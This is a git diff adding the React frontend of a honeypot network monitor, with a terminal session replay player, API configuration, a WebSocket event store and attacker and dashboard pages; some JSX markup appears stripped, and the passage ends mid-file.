b/PROJECTS/advanced/honeypot-network/frontend/src/components/session-player.tsx new file mode 100644 index 00000000..f090cbe2 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/session-player.tsx @@ -0,0 +1,171 @@ +// ©AngelaMos | 2026 +// session-player.tsx + +import { FitAddon } from '@xterm/addon-fit' +import { Terminal } from '@xterm/xterm' +import { useCallback, useEffect, useRef, useState } from 'react' +import '@xterm/xterm/css/xterm.css' +import styles from './session-player.module.scss' + +const PLAYBACK_SPEEDS = [0.5, 1, 2, 4] as const +const TERMINAL_FONT_SIZE = 14 +const TERMINAL_FONT_FAMILY = 'JetBrains Mono, Fira Code, monospace' + +interface CastHeader { + version: number + width: number + height: number +} + +type CastFrame = [number, string, string] + +interface SessionPlayerProps { + castData: string +} + +function parseCast(raw: string): { header: CastHeader; frames: CastFrame[] } { + const lines = raw.trim().split('\n') + const header = JSON.parse(lines[0] ?? '{}') as CastHeader + const frames = lines.slice(1).map((line) => JSON.parse(line) as CastFrame) + return { header, frames } +} + +export function SessionPlayer({ castData }: SessionPlayerProps) { + const containerRef = useRef(null) + const terminalRef = useRef(null) + const fitAddonRef = useRef(null) + const timerRef = useRef | null>(null) + + const [playing, setPlaying] = useState(false) + const [speed, setSpeed] = useState<(typeof PLAYBACK_SPEEDS)[number]>(1) + const [frameIdx, setFrameIdx] = useState(0) + + const { header, frames } = parseCast(castData) + + useEffect(() => { + if (!containerRef.current) return + + const term = new Terminal({ + fontSize: TERMINAL_FONT_SIZE, + fontFamily: TERMINAL_FONT_FAMILY, + theme: { + background: '#1a1a2e', + foreground: '#e0e0e0', + cursor: '#e0e0e0', + }, + cols: header.width, + rows: header.height, + disableStdin: true, + cursorBlink: false, + }) + + const fit = new FitAddon() + term.loadAddon(fit) + term.open(containerRef.current) + fit.fit() + + terminalRef.current = term + fitAddonRef.current = fit + + return () => { + term.dispose() + } + }, [header.width, header.height]) + + const playFrom = useCallback( + (startIdx: number) => { + const term = terminalRef.current + if (!term || startIdx >= frames.length) { + setPlaying(false) + return + } + + const frame = frames[startIdx] + if (!frame) { + setPlaying(false) + return + } + + const [time, type, data] = frame + const prevTime = startIdx > 0 ? (frames[startIdx - 1]?.[0] ?? 0) : 0 + const delay = ((time - prevTime) * 1000) / speed + + timerRef.current = setTimeout(() => { + if (type === 'o') { + term.write(data) + } + setFrameIdx(startIdx + 1) + playFrom(startIdx + 1) + }, delay) + }, + [frames, speed] + ) + + useEffect(() => { + if (playing) { + playFrom(frameIdx) + } + return () => { + if (timerRef.current) clearTimeout(timerRef.current) + } + }, [playing, playFrom, frameIdx]) + + function handlePlayPause() { + if (playing) { + setPlaying(false) + if (timerRef.current) clearTimeout(timerRef.current) + } else { + if (frameIdx >= frames.length) { + terminalRef.current?.reset() + setFrameIdx(0) + } + setPlaying(true) + } + } + + function handleReset() { + setPlaying(false) + if (timerRef.current) clearTimeout(timerRef.current) + terminalRef.current?.reset() + setFrameIdx(0) + } + + const progress = frames.length > 0 ? (frameIdx / frames.length) * 100 : 0 + + return ( +
+
+ +
+ + + + +
+ {PLAYBACK_SPEEDS.map((s) => ( + + ))} +
+ +
+
+
+ + + {frameIdx}/{frames.length} + +
+
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/stat-card.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/components/stat-card.module.scss new file mode 100644 index 00000000..19653123 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/stat-card.module.scss @@ -0,0 +1,22 @@ +// ©AngelaMos | 2026 +// stat-card.module.scss + +@use "../styles/mixins" as *; + +.card { + padding: var(--space-24); + display: flex; + flex-direction: column; + gap: var(--space-8); +} + +.label { + @include label; +} + +.value { + @include mono(40px); + font-weight: 700; + color: var(--text-primary); + line-height: 1; +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/components/stat-card.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/components/stat-card.tsx new file mode 100644 index 00000000..1425eb69 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/components/stat-card.tsx @@ -0,0 +1,24 @@ +// ©AngelaMos | 2026 +// stat-card.tsx + +import styles from './stat-card.module.scss' + +interface StatCardProps { + label: string + value: string | number + accent?: string +} + +export function StatCard({ label, value, accent }: StatCardProps) { + return ( +
+ {label} + + {typeof value === 'number' ? value.toLocaleString() : value} + +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/config.ts b/PROJECTS/advanced/honeypot-network/frontend/src/config.ts new file mode 100644 index 00000000..648d1800 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/config.ts @@ -0,0 +1,135 @@ +// =================== +// ©AngelaMos | 2026 +// config.ts +// =================== + +export const API_ENDPOINTS = { + HEALTH: '/health', + STATS: { + OVERVIEW: '/stats/overview', + COUNTRIES: '/stats/countries', + CREDENTIALS: '/stats/credentials', + }, + EVENTS: { + LIST: '/events', + }, + SESSIONS: { + LIST: '/sessions', + BY_ID: (id: string) => `/sessions/${id}`, + REPLAY: (id: string) => `/sessions/${id}/replay`, + }, + ATTACKERS: { + LIST: '/attackers', + BY_ID: (id: string | number) => `/attackers/${id}`, + }, + MITRE: { + TECHNIQUES: '/mitre/techniques', + HEATMAP: '/mitre/heatmap', + }, + IOCS: { + LIST: '/iocs', + EXPORT_STIX: '/iocs/export/stix', + EXPORT_BLOCKLIST: '/iocs/export/blocklist', + }, + SENSORS: { + LIST: '/sensors', + }, +} as const + +export const QUERY_KEYS = { + STATS: { + ALL: ['stats'] as const, + OVERVIEW: (since: string) => + [...QUERY_KEYS.STATS.ALL, 'overview', since] as const, + COUNTRIES: (since: string) => + [...QUERY_KEYS.STATS.ALL, 'countries', since] as const, + CREDENTIALS: () => [...QUERY_KEYS.STATS.ALL, 'credentials'] as const, + }, + EVENTS: { + ALL: ['events'] as const, + LIST: (limit: number, ip?: string) => + [...QUERY_KEYS.EVENTS.ALL, 'list', { limit, ip }] as const, + }, + SESSIONS: { + ALL: ['sessions'] as const, + LIST: (limit: number, offset: number, service?: string) => + [...QUERY_KEYS.SESSIONS.ALL, 'list', { limit, offset, service }] as const, + BY_ID: (id: string) => [...QUERY_KEYS.SESSIONS.ALL, 'detail', id] as const, + REPLAY: (id: string) => [...QUERY_KEYS.SESSIONS.ALL, 'replay', id] as const, + }, + ATTACKERS: { + ALL: ['attackers'] as const, + LIST: (limit: number, since: string) => + [...QUERY_KEYS.ATTACKERS.ALL, 'list', { limit, since }] as const, + BY_ID: (id: string | number) => + [...QUERY_KEYS.ATTACKERS.ALL, 'detail', id] as const, + }, + MITRE: { + ALL: ['mitre'] as const, + TECHNIQUES: () => [...QUERY_KEYS.MITRE.ALL, 'techniques'] as const, + HEATMAP: (since: string) => + [...QUERY_KEYS.MITRE.ALL, 'heatmap', since] as const, + }, + IOCS: { + ALL: ['iocs'] as const, + LIST: (limit: number, offset: number) => + [...QUERY_KEYS.IOCS.ALL, 'list', { limit, offset }] as const, + }, + SENSORS: { + ALL: ['sensors'] as const, + LIST: () => [...QUERY_KEYS.SENSORS.ALL, 'list'] as const, + }, +} as const + +export const ROUTES = { + DASHBOARD: '/', + EVENTS: '/events', + SESSIONS: '/sessions', + SESSION_DETAIL: '/sessions/:id', + ATTACKERS: '/attackers', + ATTACKER_DETAIL: '/attackers/:id', + MITRE: '/mitre', + INTEL: '/intel', +} as const + +export const QUERY_CONFIG = { + STALE_TIME: { + DEFAULT: 0, + STATIC: Infinity, + LIVE: 1000 * 10, + SLOW: 1000 * 60, + DASHBOARD: 1000 * 15, + }, + GC_TIME: { + DEFAULT: 1000 * 60 * 30, + LONG: 1000 * 60 * 60, + }, + RETRY: { + DEFAULT: 3, + NONE: 0, + }, + REFETCH: { + LIVE: 1000 * 10, + SLOW: 1000 * 60, + }, +} as const + +export const PAGINATION = { + DEFAULT_LIMIT: 50, + MAX_LIMIT: 500, +} as const + +export const SERVICE_LABELS: Record = { + ssh: 'SSH', + http: 'HTTP', + ftp: 'FTP', + smb: 'SMB', + mysql: 'MySQL', + redis: 'Redis', +} + +export const BLOCKLIST_FORMATS = ['plain', 'iptables', 'nginx', 'csv'] as const + +export type ApiEndpoint = typeof API_ENDPOINTS +export type QueryKey = typeof QUERY_KEYS +export type Route = typeof ROUTES diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/api/api.config.ts b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/api.config.ts new file mode 100644 index 00000000..047e393c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/api.config.ts @@ -0,0 +1,24 @@ +// =================== +// ©AngelaMos | 2026 +// api.config.ts +// =================== + +import axios, { type AxiosError, type AxiosInstance } from 'axios' +import { transformAxiosError } from './errors' + +export const getBaseURL = (): string => { + return import.meta.env.VITE_API_URL ?? '/api' +} + +export const apiClient: AxiosInstance = axios.create({ + baseURL: getBaseURL(), + timeout: 15000, + headers: { 'Content-Type': 'application/json' }, +}) + +apiClient.interceptors.response.use( + (response) => response, + (error: AxiosError): Promise => { + return Promise.reject(transformAxiosError(error)) + } +) diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/api/errors.ts b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/errors.ts new file mode 100644 index 00000000..e3cef7d9 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/errors.ts @@ -0,0 +1,80 @@ +// =================== +// ©AngelaMos | 2026 +// errors.ts +// =================== + +import type { AxiosError } from 'axios' + +export const ApiErrorCode = { + NETWORK_ERROR: 'NETWORK_ERROR', + VALIDATION_ERROR: 'VALIDATION_ERROR', + NOT_FOUND: 'NOT_FOUND', + RATE_LIMITED: 'RATE_LIMITED', + SERVER_ERROR: 'SERVER_ERROR', + UNKNOWN_ERROR: 'UNKNOWN_ERROR', +} as const + +export type ApiErrorCode = (typeof ApiErrorCode)[keyof typeof ApiErrorCode] + +export class ApiError extends Error { + readonly code: ApiErrorCode + readonly statusCode: number + + constructor(message: string, code: ApiErrorCode, statusCode: number) { + super(message) + this.name = 'ApiError' + this.code = code + this.statusCode = statusCode + } + + getUserMessage(): string { + const messages: Record = { + [ApiErrorCode.NETWORK_ERROR]: + 'Unable to connect. Please check your connection.', + [ApiErrorCode.VALIDATION_ERROR]: 'Please check your input and try again.', + [ApiErrorCode.NOT_FOUND]: 'The requested resource was not found.', + [ApiErrorCode.RATE_LIMITED]: + 'Too many requests. Please wait and try again.', + [ApiErrorCode.SERVER_ERROR]: + 'Something went wrong. Please try again later.', + [ApiErrorCode.UNKNOWN_ERROR]: + 'An unexpected error occurred. Please try again.', + } + return messages[this.code] + } +} + +interface ApiErrorResponse { + error?: string + message?: string +} + +export function transformAxiosError(error: AxiosError): ApiError { + if (!error.response) { + return new ApiError('Network error', ApiErrorCode.NETWORK_ERROR, 0) + } + + const { status } = error.response + const data = error.response.data as ApiErrorResponse | undefined + const message = data?.error ?? data?.message ?? 'An error occurred' + + const codeMap: Record = { + 400: ApiErrorCode.VALIDATION_ERROR, + 404: ApiErrorCode.NOT_FOUND, + 429: ApiErrorCode.RATE_LIMITED, + 500: ApiErrorCode.SERVER_ERROR, + 502: ApiErrorCode.SERVER_ERROR, + 503: ApiErrorCode.SERVER_ERROR, + 504: ApiErrorCode.SERVER_ERROR, + } + + const code = codeMap[status] || ApiErrorCode.UNKNOWN_ERROR + + return new ApiError(message, code, status) +} + +declare module '@tanstack/react-query' { + interface Register { + defaultError: ApiError + } +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/api/index.ts b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/index.ts new file mode 100644 index 00000000..7b440c7e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/index.ts @@ -0,0 +1,9 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export { apiClient, getBaseURL } from './api.config' +export { ApiError, ApiErrorCode, transformAxiosError } from './errors' +export type { QueryStrategy } from './query.config' +export { QUERY_STRATEGIES, queryClient } from './query.config' diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/api/query.config.ts b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/query.config.ts new file mode 100644 index 00000000..06b536df --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/api/query.config.ts @@ -0,0 +1,108 @@ +// =================== +// ©AngelaMos | 2026 +// query.config.ts +// =================== + +import { MutationCache, QueryCache, QueryClient } from '@tanstack/react-query' +import { toast } from 'sonner' +import { QUERY_CONFIG } from '@/config' +import { ApiError, ApiErrorCode } from './errors' + +const NO_RETRY_ERROR_CODES: readonly ApiErrorCode[] = [ + ApiErrorCode.NOT_FOUND, + ApiErrorCode.VALIDATION_ERROR, +] as const + +const shouldRetryQuery = (failureCount: number, error: Error): boolean => { + if (error instanceof ApiError) { + if (NO_RETRY_ERROR_CODES.includes(error.code)) { + return false + } + } + return failureCount < QUERY_CONFIG.RETRY.DEFAULT +} + +const calculateRetryDelay = (attemptIndex: number): number => { + const baseDelay = 1000 + const maxDelay = 30000 + return Math.min(baseDelay * 2 ** attemptIndex, maxDelay) +} + +const handleQueryCacheError = ( + error: Error, + query: { state: { data: unknown } } +): void => { + if (query.state.data !== undefined) { + const message = + error instanceof ApiError + ? error.getUserMessage() + : 'Background update failed' + toast.error(message) + } +} + +const handleMutationCacheError = ( + error: Error, + _variables: unknown, + _context: unknown, + mutation: { options: { onError?: unknown } } +): void => { + if (mutation.options.onError === undefined) { + const message = + error instanceof ApiError ? error.getUserMessage() : 'Operation failed' + toast.error(message) + } +} + +export const QUERY_STRATEGIES = { + standard: { + staleTime: QUERY_CONFIG.STALE_TIME.DEFAULT, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + }, + live: { + staleTime: QUERY_CONFIG.STALE_TIME.LIVE, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + refetchInterval: QUERY_CONFIG.REFETCH.LIVE, + }, + slow: { + staleTime: QUERY_CONFIG.STALE_TIME.SLOW, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + refetchInterval: QUERY_CONFIG.REFETCH.SLOW, + }, + dashboard: { + staleTime: QUERY_CONFIG.STALE_TIME.DASHBOARD, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + refetchInterval: QUERY_CONFIG.STALE_TIME.DASHBOARD, + }, + static: { + staleTime: QUERY_CONFIG.STALE_TIME.STATIC, + gcTime: QUERY_CONFIG.GC_TIME.LONG, + refetchOnMount: false, + refetchOnWindowFocus: false, + }, +} as const + +export type QueryStrategy = keyof typeof QUERY_STRATEGIES + +export const queryClient = new QueryClient({ + defaultOptions: { + queries: { + staleTime: QUERY_CONFIG.STALE_TIME.DEFAULT, + gcTime: QUERY_CONFIG.GC_TIME.DEFAULT, + retry: shouldRetryQuery, + retryDelay: calculateRetryDelay, + refetchOnWindowFocus: true, + refetchOnMount: true, + refetchOnReconnect: true, + }, + mutations: { + retry: QUERY_CONFIG.RETRY.NONE, + }, + }, + queryCache: new QueryCache({ + onError: handleQueryCacheError, + }), + mutationCache: new MutationCache({ + onError: handleMutationCacheError, + }), +}) diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/app/router.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/core/app/router.tsx new file mode 100644 index 00000000..214ed4e3 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/app/router.tsx @@ -0,0 +1,29 @@ +// ©AngelaMos | 2026 +// router.tsx + +import { createBrowserRouter } from 'react-router-dom' +import { AttackersPage } from '@/pages/attackers' +import { AttackerDetailPage } from '@/pages/attackers/detail' +import { DashboardPage } from '@/pages/dashboard' +import { EventsPage } from '@/pages/events' +import { IntelPage } from '@/pages/intel' +import { MitrePage } from '@/pages/mitre' +import { SessionsPage } from '@/pages/sessions' +import { SessionDetailPage } from '@/pages/sessions/detail' +import { Shell } from './shell' + +export const router = createBrowserRouter([ + { + element: , + children: [ + { index: true, element: }, + { path: 'events', element: }, + { path: 'sessions', element: }, + { path: 'sessions/:id', element: }, + { path: 'attackers', element: }, + { path: 'attackers/:id', element: }, + { path: 'mitre', element: }, + { path: 'intel', element: }, + ], + }, +]) diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/app/shell.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/core/app/shell.module.scss new file mode 100644 index 00000000..3416fb2e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/app/shell.module.scss @@ -0,0 +1,122 @@ +// ©AngelaMos | 2026 +// shell.module.scss + +.layout { + min-height: 100vh; + display: flex; + flex-direction: column; +} + +.header { + display: flex; + align-items: center; + height: 56px; + padding: 0 var(--space-32); + background: var(--bg-surface); + border-bottom: 1px solid var(--border-hard); + position: sticky; + top: 0; + z-index: 100; +} + +.brand { + display: flex; + align-items: center; + gap: var(--space-8); + flex-shrink: 0; +} + +.brandMark { + font-size: 20px; + color: var(--accent); + line-height: 1; +} + +.brandName { + font-family: var(--font-sans); + font-size: 18px; + font-weight: 800; + letter-spacing: 6px; + color: var(--text-primary); +} + +.divider { + width: 1px; + height: 24px; + background: var(--border-hard); + margin: 0 var(--space-24); + flex-shrink: 0; +} + +.nav { + display: flex; + align-items: center; + gap: var(--space-24); + flex: 1; +} + +.navLink { + font-family: var(--font-mono); + font-size: 11px; + font-weight: 500; + text-transform: uppercase; + letter-spacing: 1px; + color: var(--text-secondary); + padding: 18px 0; + border-bottom: 2px solid transparent; + transition: color var(--ease); + + &:hover { + color: var(--text-primary); + } +} + +.navActive { + color: var(--accent); + border-bottom-color: var(--accent); +} + +.status { + display: flex; + align-items: center; + gap: var(--space-8); + font-family: var(--font-mono); + font-size: 11px; + letter-spacing: 0.5px; + flex-shrink: 0; +} + +.statusLabel { + color: var(--text-muted); + text-transform: uppercase; +} + +.statusOn { + color: var(--active); + text-transform: uppercase; + font-weight: 600; +} + +.statusOff { + color: var(--text-muted); + text-transform: uppercase; +} + +.substrip { + display: flex; + justify-content: space-between; + align-items: center; + padding: var(--space-4) var(--space-32); + background: var(--bg-void); + border-bottom: 2px solid var(--border-hard); + font-family: var(--font-mono); + font-size: 10px; + letter-spacing: 1px; + color: var(--text-muted); + text-transform: uppercase; +} + +.main { + flex: 1; + padding: var(--space-48); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/app/shell.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/core/app/shell.tsx new file mode 100644 index 00000000..c2fbefca --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/app/shell.tsx @@ -0,0 +1,73 @@ +// ©AngelaMos | 2026 +// shell.tsx + +import { useEffect } from 'react' +import { NavLink, Outlet } from 'react-router-dom' +import { useWebSocketStore } from '@/core/lib/websocket.store' +import styles from './shell.module.scss' + +const NAV_ITEMS = [ + { to: '/', label: 'Dashboard', end: true }, + { to: '/events', label: 'Events' }, + { to: '/sessions', label: 'Sessions' }, + { to: '/attackers', label: 'Attackers' }, + { to: '/mitre', label: 'MITRE' }, + { to: '/intel', label: 'Intel' }, +] as const + +export function Shell() { + const { connect, disconnect, connected } = useWebSocketStore() + + useEffect(() => { + connect() + return () => disconnect() + }, [connect, disconnect]) + + return ( +
+
+
+ + HIVE +
+ +
+ + + +
+ +
+ LINK + + {connected ? 'ACTIVE' : 'DOWN'} + +
+
+ +
+ HONEYPOT NETWORK MONITOR + SYS-01 / REV 1.0 +
+ +
+ +
+
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/lib/index.ts b/PROJECTS/advanced/honeypot-network/frontend/src/core/lib/index.ts new file mode 100644 index 00000000..21cc4817 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/lib/index.ts @@ -0,0 +1,7 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export { apiClient, QUERY_STRATEGIES } from '@/core/api' +export { useWebSocketStore } from './websocket.store' diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/core/lib/websocket.store.ts b/PROJECTS/advanced/honeypot-network/frontend/src/core/lib/websocket.store.ts new file mode 100644 index 00000000..4821782e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/core/lib/websocket.store.ts @@ -0,0 +1,77 @@ +// ©AngelaMos | 2026 +// websocket.store.ts + +import { create } from 'zustand' +import type { HoneypotEvent } from '@/api/types' + +const WS_URL = `${window.location.protocol === 'https:' ? 'wss:' : 'ws:'}//${window.location.host}/ws/events` +const MAX_EVENTS = 200 +const RECONNECT_BASE_MS = 1000 +const RECONNECT_MAX_MS = 30_000 + +interface WebSocketState { + connected: boolean + events: HoneypotEvent[] + eventCount: number + connect: () => void + disconnect: () => void +} + +export const useWebSocketStore = create((set, get) => { + let ws: WebSocket | null = null + let reconnectDelay = RECONNECT_BASE_MS + let reconnectTimer: ReturnType | null = null + + function scheduleReconnect() { + if (reconnectTimer) return + reconnectTimer = setTimeout(() => { + reconnectTimer = null + get().connect() + }, reconnectDelay) + reconnectDelay = Math.min(reconnectDelay * 2, RECONNECT_MAX_MS) + } + + return { + connected: false, + events: [], + eventCount: 0, + + connect() { + if (ws?.readyState === WebSocket.OPEN) return + + ws = new WebSocket(WS_URL) + + ws.onopen = () => { + reconnectDelay = RECONNECT_BASE_MS + set({ connected: true }) + } + + ws.onmessage = (msg) => { + const event = JSON.parse(msg.data) as HoneypotEvent + set((state) => ({ + events: [event, ...state.events].slice(0, MAX_EVENTS), + eventCount: state.eventCount + 1, + })) + } + + ws.onclose = () => { + set({ connected: false }) + scheduleReconnect() + } + + ws.onerror = () => { + ws?.close() + } + }, + + disconnect() { + if (reconnectTimer) { + clearTimeout(reconnectTimer) + reconnectTimer = null + } + ws?.close() + ws = null + set({ connected: false }) + }, + } +}) diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/main.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/main.tsx new file mode 100644 index 00000000..cb35683f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/main.tsx @@ -0,0 +1,13 @@ +// ©AngelaMos | 2026 +// main.tsx + +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import { App } from './App' +import './styles/global.scss' + +createRoot(document.getElementById('root')!).render( + + + +) diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/attackers.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/attackers.module.scss new file mode 100644 index 00000000..aa647b15 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/attackers.module.scss @@ -0,0 +1,118 @@ +// ©AngelaMos | 2026 +// attackers.module.scss + +@use "../../styles/mixins" as *; + +.page { + display: flex; + flex-direction: column; + gap: var(--space-32); +} + +.heading { + display: flex; + flex-direction: column; + gap: var(--space-4); +} + +.title { + @include display; +} + +.subtitle { + @include label; + letter-spacing: 2px; +} + +.table { + @include table-base; +} + +.link { + color: var(--accent); + transition: opacity var(--ease); + + &:hover { + opacity: 0.7; + } +} + +.threat { + color: var(--critical); + font-weight: 700; +} + +.loading { + padding: var(--space-64); + text-align: center; + @include label; + letter-spacing: 3px; +} + +.back { + @include mono(12px); + color: var(--text-secondary); + display: inline-flex; + align-items: center; + gap: var(--space-8); + transition: color var(--ease); + + &:hover { + color: var(--accent); + } +} + +.detailTitle { + @include display(36px); + letter-spacing: 2px; +} + +.dossier { + border: 1px solid var(--border-hard); + max-width: 640px; +} + +.dossierRow { + display: grid; + grid-template-columns: 160px 1fr; + border-bottom: 1px solid var(--border-soft); + + &:last-child { + border-bottom: none; + } +} + +.dossierLabel { + @include label; + padding: var(--space-12) var(--space-16); + background: var(--bg-surface); + display: flex; + align-items: center; +} + +.dossierValue { + @include mono; + padding: var(--space-12) var(--space-16); + display: flex; + align-items: center; +} + +.threatValue { + color: var(--critical); + font-weight: 700; +} + +.tags { + display: flex; + gap: var(--space-8); + flex-wrap: wrap; +} + +.tag { + @include mono(10px); + font-weight: 600; + letter-spacing: 0.5px; + padding: 1px 6px; + border: 1px solid var(--border-hard); + color: var(--text-secondary); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/detail.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/detail.tsx new file mode 100644 index 00000000..904c99e2 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/detail.tsx @@ -0,0 +1,84 @@ +// ©AngelaMos | 2026 +// detail.tsx + +import { Link, useParams } from 'react-router-dom' +import { useAttacker } from '@/api/hooks' +import styles from './attackers.module.scss' + +export function AttackerDetailPage() { + const { id } = useParams<{ id: string }>() + const { data: attacker, isLoading } = useAttacker(Number(id)) + + if (isLoading || !attacker) { + return
LOADING ...
+ } + + const rows = [ + { + label: 'COUNTRY', + value: `${attacker.geo.country} (${attacker.geo.country_code})`, + }, + { label: 'CITY', value: attacker.geo.city || '\u2014' }, + { + label: 'ASN / ORG', + value: `AS${attacker.geo.asn} ${attacker.geo.org}`, + }, + { + label: 'TOTAL EVENTS', + value: attacker.total_events.toLocaleString(), + }, + { label: 'SESSIONS', value: String(attacker.total_sessions) }, + { label: 'TOOL FAMILY', value: attacker.tool_family || '\u2014' }, + { + label: 'FIRST SEEN', + value: new Date(attacker.first_seen).toLocaleString(), + }, + { + label: 'LAST SEEN', + value: new Date(attacker.last_seen).toLocaleString(), + }, + ] + + return ( +
+ + ← ATTACKERS + + +

{attacker.ip}

+ +
+ {rows.map((row) => ( +
+ {row.label} + {row.value} +
+ ))} + +
+ THREAT SCORE + + {attacker.threat_score} + +
+ + {attacker.tags && attacker.tags.length > 0 && ( +
+ TAGS + + + {attacker.tags.map((tag) => ( + + {tag} + + ))} + + +
+ )} +
+
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/index.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/index.tsx new file mode 100644 index 00000000..b5823ea3 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/attackers/index.tsx @@ -0,0 +1,60 @@ +// ©AngelaMos | 2026 +// index.tsx + +import { Link } from 'react-router-dom' +import { useAttackers } from '@/api/hooks' +import styles from './attackers.module.scss' + +export function AttackersPage() { + const { data: attackers, isLoading } = useAttackers() + + return ( +
+
+

Attackers

+ THREAT ACTOR DATABASE +
+ + {isLoading ? ( +
LOADING ...
+ ) : ( + + + + + + + + + + + + + + {attackers?.map((a) => ( + + + + + + + + + + ))} + +
IPCountryEventsSessionsTool FamilyThreat ScoreLast Seen
+ + {a.ip} + + + {a.geo.country_code} + {a.geo.city ? ` \u2014 ${a.geo.city}` : ''} + {a.total_events}{a.total_sessions}{a.tool_family || '\u2014'}{a.threat_score}{new Date(a.last_seen).toLocaleString()}
+ )} +
+ ) +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/dashboard/dashboard.module.scss b/PROJECTS/advanced/honeypot-network/frontend/src/pages/dashboard/dashboard.module.scss new file mode 100644 index 00000000..39ad523e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/dashboard/dashboard.module.scss @@ -0,0 +1,90 @@ +// ©AngelaMos | 2026 +// dashboard.module.scss + +@use "../../styles/mixins" as *; + +.page { + display: flex; + flex-direction: column; + gap: var(--space-48); +} + +.heading { + display: flex; + flex-direction: column; + gap: var(--space-4); +} + +.title { + @include display; +} + +.subtitle { + @include label; + letter-spacing: 2px; +} + +.metrics { + display: grid; + grid-template-columns: repeat(4, 1fr); + border: 1px solid var(--border-hard); + + > *:not(:last-child) { + border-right: 1px solid var(--border-hard); + } +} + +.rowWide { + display: grid; + grid-template-columns: 1.5fr 1fr; + gap: var(--space-32); +} + +.row { + display: grid; + grid-template-columns: 1fr 1fr; + gap: var(--space-32); +} + +.panel { + display: flex; + flex-direction: column; + gap: var(--space-16); +} + +.panelLabel { + @include section-label; +} + +.chart { + border: 1px solid var(--border-soft); + padding: var(--space-16) var(--space-8) var(--space-8) 0; +} + +.list { + display: flex; + flex-direction: column; + border: 1px solid var(--border-hard); +} + +.listRow { + display: flex; + justify-content: space-between; + align-items: center; + padding: var(--space-8) var(--space-16); + border-bottom: 1px solid var(--border-soft); + + &:last-child { + border-bottom: none; + } +} + +.listLabel { + @include mono; + color: var(--text-primary); +} + +.listValue { + @include mono; + color: var(--text-secondary); +} diff --git a/PROJECTS/advanced/honeypot-network/frontend/src/pages/dashboard/index.tsx b/PROJECTS/advanced/honeypot-network/frontend/src/pages/dashboard/index.tsx new file mode 100644 index 00000000..772921c2 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/frontend/src/pages/dashboard/index.tsx @@ -0,0 +1,174 @@ +// ©AngelaMos | 2026 +// index.tsx + +import { + Bar, + BarChart, + ResponsiveContainer, + Tooltip, + XAxis, + YAxis, +} from 'recharts' +import { + useAttackers, + useStatsCountries, + useStatsCredentials, + useStatsOverview, +} from '@/api/hooks' +import { AttackMap } from '@/components/attack-map' +import { EventFeed } from '@/components/event-feed' +import { StatCard } from '@/components/stat-card' +import { useWebSocketStore } from '@/core/lib/websocket.store' +import styles from './dashboard.module.scss' + +const TOP_COUNTRIES_LIMIT = 10 +const TOP_CREDS_LIMIT = 8 + +const TOOLTIP_STYLE = { + background: 'oklch(22% 0.005 55)', + border: '1px solid oklch(30% 0.005 55)', + borderRadius: 0, + fontSize: 12, + fontFamily: 'var(--font-mono)', +} as const + +export function DashboardPage() { + const { data: stats } = useStatsOverview() + const { data: countries } = useStatsCountries() + const { data: credentials } = useStatsCredentials() + const { data: attackers } = useAttackers() + const wsEventCount = useWebSocketStore((s) => s.eventCount) + + const serviceData = stats + ? 